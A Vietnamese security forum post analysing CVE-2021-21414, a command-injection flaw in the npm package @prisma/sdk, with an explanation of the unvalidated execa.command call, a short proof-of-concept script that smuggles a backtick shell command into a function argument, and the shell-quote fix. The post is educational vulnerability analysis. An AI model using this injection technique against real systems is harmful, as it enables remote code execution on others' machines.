Khai thác lổ hỗng Remote code execution (RCE) trong Nodejs (Phần 2)

Thảo luận trong 'Exploitation' bắt đầu bởi tuantran, 11/05/21, 10:05 AM.

  1. tuantran

    tuantran Moderator Thành viên BQT

    Tham gia: 27/04/17, 09:04 AM
    Bài viết: 34
    Đã được thích: 18
    Điểm thành tích:
    8
    Hi mọi người,
    Trong bài viết trước với mục định tạo nhận thức cho mọi người về lỗ hổng RCE trong nodejs. Các bạn có thể đọc bài đó ở đây.

    Với việc nodejs thịnh hành thì điều đó cũng có nghĩa là các package hay module của nodejs phát triển không kém. Vì vậy, việc các lổ hổng đến từ các package là điều không thể lơ là được.

    Để chứng minh cho các lổ hỗng cũng có thể đến từ các module hay package thì mình sẽ làm phân tích CVE trong năm có thể dẫn đến lỗ hổng RCE:
    upload_2021-5-11_10-50-27.png
    Trong quá trình mình phân tích thì sẽ bao gồm các bước sau:
    • Tên module hay package bị lổ hổng

    • Nguyên nhân dẫn đến lỗ hổng

    • Khai thác lỗ hổng
    • Cách khắc phục
    Bắt tay vào phân tích thôi nào:

    CVE-2021-21414:

    Module tên: @prisma/sdk

    Nguyên nhân dẫn đến lổ hổng:

    Đầu tiên hãy cùng nhau xem đoạn code bị bug trong hình:

    upload_2021-5-11_10-35-13.png

    Như trong hình thì trong getPackedPackage method có execa.command function có param (tham số) packCMD callback. Nhưng ở đây packdCMD không được validate( xác thực ) và nó chấp nhận tất cả các thông số mà người dùng nhập vào. Vậy nên nó sẽ có thể dùng để chạy bất kỳ cmd nào được nhập vào.

    Cho những bạn chưa biết execa.command là gì: https://www.npmjs.com/package/execa thì execa là phiên bản cải thiện của child_process method trong nodejs.


    Để chứng minh mình có thể khai thai được lổ hỗng này thì dưới đây là demo:

    Đầu tiên, thì cài đặt paclkage:

    Mã:
    npm install @prisma/sdk 
    Tạo 1 file exploit.js với nội dung sau:

    Mã:
    const sdk = require("@prisma/sdk");
    
    sdk.getPackedPackage("newbie", "Hello", "world`mkdir /tmp/exploit`"); 


    Và chạy nó để xem kết quả:

    Mã:
    node exploit.js 


    Vậy để khắc phục nó thì làm thế nào?

    Để khắc phục nó thì mình validate mọi dự liệu được nhập vào. Đối với các command lên thì nên escape hoặc là filter các cmd nguyên hiểm. Nhưng ở đây thì bên phía package dùng shell-quote để mà validate (xác thực) các cmd

    Code fix:

    upload_2021-5-11_10-35-13.png

    Đây là thư viện shell-quote cho các bạn muốn tìm hiểu. https://www.npmjs.com/package/shell-quote

    Vì vậy để phòng tránh rủi ro lỗ hổng RCE thì mình nên làm gì?

     

    Các file đính kèm:

    Chỉnh sửa cuối: 11/05/21, 05:05 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    WhiteHat News #ID:2018 thích bài này.
  1. WhiteHat Team
  2. Ginny Hà
  3. whf
  4. whf
  5. Nobley